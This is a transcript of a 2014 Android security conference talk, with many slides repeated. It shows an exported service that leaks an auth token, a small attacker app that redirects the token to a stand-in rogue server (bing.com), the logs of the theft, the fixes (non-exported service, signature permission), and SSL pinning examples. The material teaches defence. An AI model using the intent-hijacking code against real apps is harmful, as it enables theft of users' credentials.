Lviv MDDay 2014. Ігор Коробка “забезпечення базової безпеки...

Post on 27-Jun-2015

237 views 1 download

Tags:

description

Сайт конференції: http://mdday.lviv.ua/ Відео: http://bit.ly/MDDayVids Linkedin: http://bit.ly/LMDDLIN

transcript

Common Sense Security in Android Applications

by Igor Korobka

Agenda

1.When it’s public - people WILL use it2.SSL and its problems3.And how to fix these problems

When it’s public - people WILL use it

Bad things are always going to happen in life. People will hurt

you…

… By exploiting vulnerabilities in you applications!

When it’s public - people WILL use it

Bad things are always going to happen in life. People will hurt

you…

… By exploiting vulnerabilities in you applications!

Update Data Service<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" >

...

<service android:name=".UpdateDataIntentService" >

<intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter>

</service>

...

</manifest>

Update Data Service<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" >

...

<service android:name=".UpdateDataIntentService" >

<intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter>

</service>

...

</manifest>

Update Data Service<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" >

...

<service android:name=".UpdateDataIntentService" >

<intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter>

</service>

...

</manifest>

Update Data Service<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" >

...

<service android:name=".UpdateDataIntentService" >

<intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter>

</service>

...

</manifest>

public class UpdateDataIntentService extends IntentService {

private static final String ACTION_UPDATE_DATA = "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"; private static final String EXTRA_URL = "com.epam.itweek.commonsensesecurity.extra.URL";

public static void startDataUpdate(Context context, String url) { Intent intent = new Intent(context, UpdateDataIntentService.class); intent.setAction(ACTION_UPDATE_DATA); intent.putExtra(EXTRA_URL, url); context.startService(intent); }

@Override protected void onHandleIntent(Intent intent) { ... if (ACTION_UPDATE_DATA.equals(action)) { final String url = intent.getStringExtra(EXTRA_URL); performDataUpdate(url); } ... }}

Update Data Service

public class UpdateDataIntentService extends IntentService {

private static final String ACTION_UPDATE_DATA = "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"; private static final String EXTRA_URL = "com.epam.itweek.commonsensesecurity.extra.URL";

public static void startDataUpdate(Context context, String url) { Intent intent = new Intent(context, UpdateDataIntentService.class); intent.setAction(ACTION_UPDATE_DATA); intent.putExtra(EXTRA_URL, url); context.startService(intent); }

@Override protected void onHandleIntent(Intent intent) { ... if (ACTION_UPDATE_DATA.equals(action)) { final String url = intent.getStringExtra(EXTRA_URL); performDataUpdate(url); } ... }}

Update Data Service

public class UpdateDataIntentService extends IntentService {

private static final String ACTION_UPDATE_DATA = "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"; private static final String EXTRA_URL = "com.epam.itweek.commonsensesecurity.extra.URL";

public static void startDataUpdate(Context context, String url) { Intent intent = new Intent(context, UpdateDataIntentService.class); intent.setAction(ACTION_UPDATE_DATA); intent.putExtra(EXTRA_URL, url); context.startService(intent); }

@Override protected void onHandleIntent(Intent intent) { ... if (ACTION_UPDATE_DATA.equals(action)) { final String url = intent.getStringExtra(EXTRA_URL); performDataUpdate(url); } ... }}

Update Data Service

public class UpdateDataIntentService extends IntentService {

private static final String ACTION_UPDATE_DATA = "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"; private static final String EXTRA_URL = "com.epam.itweek.commonsensesecurity.extra.URL";

public static void startDataUpdate(Context context, String url) { Intent intent = new Intent(context, UpdateDataIntentService.class); intent.setAction(ACTION_UPDATE_DATA); intent.putExtra(EXTRA_URL, url); context.startService(intent); }

@Override protected void onHandleIntent(Intent intent) { ... if (ACTION_UPDATE_DATA.equals(action)) { final String url = intent.getStringExtra(EXTRA_URL); performDataUpdate(url); } ... }}

Update Data Service

Update Data Service

public class UpdateDataIntentService extends IntentService {

...

private void performDataUpdate(String url) { Request request = new Request.Builder() .url(url) .addHeader(TOKEN, AuthManager.getInstance().getToken()) .build();

OkHttpClient client = new OkHttpClient(); Response response = client.newCall(request).execute(); String newData = response.body().string(); storeDataInDb(newData); }

...

}

Update Data Service

public class UpdateDataIntentService extends IntentService {

...

private void performDataUpdate(String url) { Request request = new Request.Builder() .url(url) .addHeader(TOKEN, AuthManager.getInstance().getToken()) .build();

OkHttpClient client = new OkHttpClient(); Response response = client.newCall(request).execute(); String newData = response.body().string(); storeDataInDb(newData); }

...

}

Update Data Service

public class UpdateDataIntentService extends IntentService {

...

private void performDataUpdate(String url) { Request request = new Request.Builder() .url(url) .addHeader(TOKEN, AuthManager.getInstance().getToken()) .build();

OkHttpClient client = new OkHttpClient(); Response response = client.newCall(request).execute(); String newData = response.body().string(); storeDataInDb(newData); }

...

}

Update Data Service

public class UpdateDataIntentService extends IntentService {

...

private void performDataUpdate(String url) { Request request = new Request.Builder() .url(url) .addHeader(TOKEN, AuthManager.getInstance().getToken()) .build();

OkHttpClient client = new OkHttpClient(); Response response = client.newCall(request).execute(); String newData = response.body().string(); storeDataInDb(newData); }

...

}

Update Data Service

public class RegularDataActivity extends Activity {

private static final String URL_PRODUCTION_BACKEND = "http://google.com";

...

@OnClick(R.id.update) void onUpdateDataClick() { UpdateDataIntentService.startDataUpdate(this, URL_PRODUCTION_BACKEND); }

}

Update Data Service

public class RegularDataActivity extends Activity { private static final String URL_PRODUCTION_BACKEND = "http://google.com";

...

@OnClick(R.id.update) void onUpdateDataClick() { UpdateDataIntentService.startDataUpdate(this, URL_PRODUCTION_BACKEND); }

}

Update Data Service

public class RegularDataActivity extends Activity {

private static final String URL_PRODUCTION_BACKEND = "http://google.com";

... @OnClick(R.id.update) void onUpdateDataClick() { UpdateDataIntentService.startDataUpdate(this, URL_PRODUCTION_BACKEND); }

}

Update Data Service

08-02 15:55:43.034 21021-21176/com.epam.itweek.commonsensesecurity.downloader D/UpdateDataIntentService onHandleIntent(intent=Intent ⇢﹕{ act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA cmp=com.epam.itweek.commonsensesecurity.downloader/.UpdateDataIntentService (has extras) }) @Thread:IntentService[UpdateDataIntentService]

08-02 15:55:43.439 21021-21176/com.epam.itweek.commonsensesecurity.downloader W/UpdateDataIntentService performDataUpdate: backend: [﹕ http://google.com]

08-02 15:55:43.440 21021-21176/com.epam.itweek.commonsensesecurity.downloader W/UpdateDataIntentService performDataUpdate: token sent to backend: ﹕[secure_token]

08-02 15:55:43.440 21021-21176/com.epam.itweek.commonsensesecurity.downloader D/UpdateDataIntentService onHandleIntent [405ms]﹕ ⇠

Update Data Service

08-02 15:55:43.034 21021-21176/com.epam.itweek.commonsensesecurity.downloader D/UpdateDataIntentService onHandleIntent(intent=Intent ⇢﹕{ act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA cmp=com.epam.itweek.commonsensesecurity.downloader/.UpdateDataIntentService (has extras) }) @Thread:IntentService[UpdateDataIntentService]

08-02 15:55:43.439 21021-21176/com.epam.itweek.commonsensesecurity.downloader W/UpdateDataIntentService ﹕ performDataUpdate: backend: [http://google.com]

08-02 15:55:43.440 21021-21176/com.epam.itweek.commonsensesecurity.downloader W/UpdateDataIntentService ﹕ performDataUpdate: token sent to backend: [secure_token]

08-02 15:55:43.440 21021-21176/com.epam.itweek.commonsensesecurity.downloader D/UpdateDataIntentService onHandleIntent [405ms]﹕ ⇠

Update Data Service<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" >

...

<service android:name=".UpdateDataIntentService" >

<intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter>

</service>

...

</manifest>

Attack Update Data Service

<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloaderattaccker" >

...

</manifest>

Attack Update Data Service

<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloaderattaccker" >

...

</manifest>

Attack Update Data Service

public class AttackDownloaderActivity extends Activity {

public static final String URL_ROGUE_BACKEND = "http://bing.com"; ...

@OnClick(R.id.attackDownloader) void onAttackClicked() { Intent intent = new Intent( "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"); ResolveInfo resolveInfo = getPackageManager().resolveService(intent, 0); intent.setClassName(resolveInfo.serviceInfo.packageName, resolveInfo.serviceInfo.name); intent.putExtra("com.epam.itweek.commonsensesecurity.extra.URL", URL_ROGUE_BACKEND); startService(intent); }

}

Attack Update Data Service

public class AttackDownloaderActivity extends Activity {

public static final String URL_ROGUE_BACKEND = "http://bing.com"; ...

@OnClick(R.id.attackDownloader) void onAttackClicked() { Intent intent = new Intent( "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"); ResolveInfo resolveInfo = getPackageManager().resolveService(intent, 0); intent.setClassName(resolveInfo.serviceInfo.packageName, resolveInfo.serviceInfo.name); intent.putExtra("com.epam.itweek.commonsensesecurity.extra.URL", URL_ROGUE_BACKEND); startService(intent); }

}

Attack Update Data Service

public class AttackDownloaderActivity extends Activity {

public static final String URL_ROGUE_BACKEND = "http://bing.com"; ...

@OnClick(R.id.attackDownloader) void onAttackClicked() { Intent intent = new Intent( "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"); ResolveInfo resolveInfo = getPackageManager().resolveService(intent, 0); intent.setClassName(resolveInfo.serviceInfo.packageName, resolveInfo.serviceInfo.name); intent.putExtra("com.epam.itweek.commonsensesecurity.extra.URL", URL_ROGUE_BACKEND); startService(intent); }

}

Attack Update Data Service

public class AttackDownloaderActivity extends Activity {

public static final String URL_ROGUE_BACKEND = "http://bing.com"; ...

@OnClick(R.id.attackDownloader) void onAttackClicked() { Intent intent = new Intent( "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"); ResolveInfo resolveInfo = getPackageManager().resolveService(intent, 0); intent.setClassName(resolveInfo.serviceInfo.packageName, resolveInfo.serviceInfo.name); intent.putExtra("com.epam.itweek.commonsensesecurity.extra.URL", URL_ROGUE_BACKEND); startService(intent); }

}

Attack Update Data Service

08-02 15:59:10.197 21021-22014/com.epam.itweek.commonsensesecurity.downloader D/UpdateDataIntentService onHandleIntent(intent=Intent ﹕ ⇢{ act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA cmp=com.epam.itweek.commonsensesecurity.downloader/.UpdateDataIntentService (has extras) }) @Thread:IntentService[UpdateDataIntentService]

08-02 15:59:10.616 21021-22014/com.epam.itweek.commonsensesecurity.downloader W/UpdateDataIntentService performDataUpdate: backend: [﹕ http://bing.com]

08-02 15:59:10.616 21021-22014/com.epam.itweek.commonsensesecurity.downloader W/UpdateDataIntentService performDataUpdate: token sent to backend: ﹕[secure_token]

08-02 15:59:10.616 21021-22014/com.epam.itweek.commonsensesecurity.downloader D/UpdateDataIntentService onHandleIntent [419ms]﹕ ⇠

Attack Update Data Service

08-02 15:59:10.197 21021-22014/com.epam.itweek.commonsensesecurity.downloader D/UpdateDataIntentService onHandleIntent(intent=Intent ﹕ ⇢{ act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA cmp=com.epam.itweek.commonsensesecurity.downloader/.UpdateDataIntentService (has extras) }) @Thread:IntentService[UpdateDataIntentService]

08-02 15:59:10.616 21021-22014/com.epam.itweek.commonsensesecurity.downloader W/UpdateDataIntentService ﹕ performDataUpdate: backend: [http://bing.com]

08-02 15:59:10.616 21021-22014/com.epam.itweek.commonsensesecurity.downloader W/UpdateDataIntentService ﹕ performDataUpdate: token sent to backend: [secure_token]

08-02 15:59:10.616 21021-22014/com.epam.itweek.commonsensesecurity.downloader D/UpdateDataIntentService onHandleIntent [419ms]﹕ ⇠

Attack Update Data Service

UpdateDataIntentService has just handed off our secure token to a stranger server…

This is not good...

Attack Update Data Service

UpdateDataIntentService has just handed off our secure token to a stranger server…

This is not good...

Secure Update Data Service

We have to do something about it…

Do Not Export Update Data Service

<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" >

...

<service android:name=".UpdateDataIntentService" android:exported="false" /> ...

</manifest>

Do Not Export Update Data Service

<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" >

...

<service android:name=".UpdateDataIntentService" android:exported="false" /> ...

</manifest>

Do Not Export Update Data Service

<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" >

...

<service android:name=".UpdateDataIntentService" android:exported="false" /> ...

</manifest>

Attack Not Exported Update Data Service08-02 17:22:00.720 11702-11702/com.epam.itweek.commonsensesecurity.downloaderattaccker.notexportedE/AndroidRuntime ﹕ FATAL EXCEPTION: main Process: com.epam.itweek.commonsensesecurity.downloaderattaccker.notexported, PID: 11702 java.lang.SecurityException: Not allowed to start service Intent { act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA cmp=com.epam.itweek.commonsensesecurity.downloader.notexported/com.epam.itweek.commonsensesecurity.downloader.UpdateDataIntentService (has extras) } without permission not exported from uid 10191 at android.app.ContextImpl.startServiceCommon(ContextImpl.java:1639) at android.app.ContextImpl.startService(ContextImpl.java:1616) at android.content.ContextWrapper.startService(ContextWrapper.java:505) at com.epam.itweek.commonsensesecurity.downloaderattaccker.AttackDownloaderActivity.onAttackClicked(AttackDownloaderActivity.java:30) ...

Update Data Service With Permission<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" >

<permission android:name= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" android:description="@string/permission_description" android:protectionLevel="signature" />

<uses-permission android:name= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE"/>

<service android:permission= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" android:name=".UpdateDataIntentService" > <intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter> </service>

</manifest>

Update Data Service With Permission<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" >

<permission android:name= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" android:description="@string/permission_description" android:protectionLevel="signature" />

<uses-permission android:name= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE"/>

<service android:permission= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" android:name=".UpdateDataIntentService" > <intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter> </service>

</manifest>

Update Data Service With Permission<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" >

<permission android:name= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" android:description="@string/permission_description" android:protectionLevel="signature" />

<uses-permission android:name= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE"/>

<service android:permission= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" android:name=".UpdateDataIntentService" > <intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter> </service>

</manifest>

Update Data Service With Permission<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" >

<permission android:name= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" android:description="@string/permission_description" android:protectionLevel="signature" />

<uses-permission android:name= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE"/> <service android:permission= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" android:name=".UpdateDataIntentService" > <intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter> </service>

</manifest>

Attack Update Data Service With Permission08-02 17:26:08.350 12460-12460/com.epam.itweek.commonsensesecurity.downloaderattaccker.withpermission E/AndroidRuntime ﹕ FATAL EXCEPTION: main Process: com.epam.itweek.commonsensesecurity.downloaderattaccker.withpermission, PID: 12460 java.lang.SecurityException: Not allowed to start service Intent { act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA cmp=com.epam.itweek.commonsensesecurity.downloader.withpermission/com.epam.itweek.commonsensesecurity.downloader.UpdateDataIntentService (has extras) } without permission com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE at android.app.ContextImpl.startServiceCommon(ContextImpl.java:1639) at android.app.ContextImpl.startService(ContextImpl.java:1616) at android.content.ContextWrapper.startService(ContextWrapper.java:505) at com.epam.itweek.commonsensesecurity.downloaderattaccker.AttackDownloaderActivity.onAttackClicked(AttackDownloaderActivity.java:30) ...

Reference: Real-life vulnerabilities

● Unauthorized Origin Crossing on Mobile Platforms: Threats and Mitigation

o academic paper - http://goo.gl/4wAO93

o Ars Technica article on the topic - http://goo.gl/3KXUVD

o Developer’s point of view - http://goo.gl/X2tETV

● Android OEM’s applications (in)security and backdoors without permission

o http://goo.gl/0eHVnx

o by Andr´e Moulu from QuarksLab

o interesting starts at slide #75

o read from beginning if you want to know why Samsung software is crap low

quality

SSL and its problems

There are 3 types of software:data producers, data consumers and bad guys in between them

SSL● Encrypts network communication● with a generated session secret ● using server’s X.509 certificate● relies on Certificate Authorities for certificate validity

Designed for use in general purpose network communication tools:

● Browsers

● Email clients

● IM clients

SSL● Encrypts network communication● with a generated session secret ● using server’s X.509 certificate● relies on Certificate Authorities for certificate validity

Designed for use in general purpose network communication tools:

● Browsers

● Email clients

● IM clients

SSLClient makes sure that certificate:● has a verifiable chain of trust back to a trusted (root) certificate● matches the requested hostname

But this is also bad!

Client does not check if it is your certificate, the one you uploaded to your server.

And this is good!

Browsers verify website's identity via trusted CAs because they simply don’t know whom they will be communicating with the other day.

SSL and its problems● Man In The Middle (MITM) Attacks

○ Hacked CAs (Comodo, DigiNotar, TurkTrust)○ Social engineering ("Free wifi! Just add this root cert to your

device!")○ NSA

● Complex nature, so implementations are sometimes buggy● Others?

Heartbleed

Google Play Services

The Security API allows you to easily install a dynamic security provider.

New versions of Google Play Services will keep the security provider up-to-date

with the latest security fixes as those become available.

Google Play Services - Security API

ProviderInstaller.installIfNeeded(getApplicationContext())

SSL Pinning on Android

Pinning

A pin is a hex-encoded hash of a X.509 certificate's SubjectPublicKeyInfo.

Library is available for your needs:

dependencies { compile 'org.thoughtcrime.ssl.pinning:AndroidPinning:1.0.0'}

Pinning - HttpsURLConnection

String[] pins = new String[] {"f30012bbc18c231ac1a44b788e410ce754182513"};URL url = new URL("https://www.google.com");HttpsURLConnection connection = PinningHelper.getPinnedHttpsURLConnection(context, pins, url);

Pinning - HttpClient

String[] pins = new String[] {"f30012bbc18c231ac1a44b788e410ce754182513"};HttpClient httpClient = PinningHelper.getPinnedHttpClient(context, pins);HttpResponse response = httpClient.execute( new HttpGet("https://www.google.com/"));

PinningTrustManager & PinningSSLSocketFactory

String[] pins = new String[] {"40c5401d6f8cbaf08b00edefb1ee87d005b3b9cd"};SchemeRegistry schemeRegistry = new SchemeRegistry();schemeRegistry.register( new Scheme("http", PlainSocketFactory.getSocketFactory(), 80));schemeRegistry.register(new Scheme("https", new PinningSSLSocketFactory(getContext() ,pins, 0), 443));HttpParams httpParams = new BasicHttpParams();ClientConnectionManager connectionManager = new ThreadSafeClientConnManager(httpParams, schemeRegistry);DefaultHttpClient httpClient = new DefaultHttpClient(connectionManager, httpParams);HttpResponse response = httpClient.execute( new HttpGet("https://www.google.com/"));

References

● Why app developers should care about SSL pinning - http://goo.gl/eoc0ij

● Your app shouldn't suffer SSL's problems - http://goo.gl/lpMVFD

● SSL on Android: The Basics - http://goo.gl/TgAK7N

● SSL on Android: Memorizing and Pinning - http://goo.gl/Ut3ysD

● PSA: WebView, Chrome Accept Revoked SSL Certificates - http://goo.gl/ds6Fjd

● More on Android and Revoked SSL Certificates - http://goo.gl/Qg7mfv

● Usage: TrustManagerBuilder - http://goo.gl/rnDwzp

● Certificate pinning in Android 4.2 - http://goo.gl/ut5xpA

Thank you!

Q&A

Slides available at http://goo.gl/jAfLvz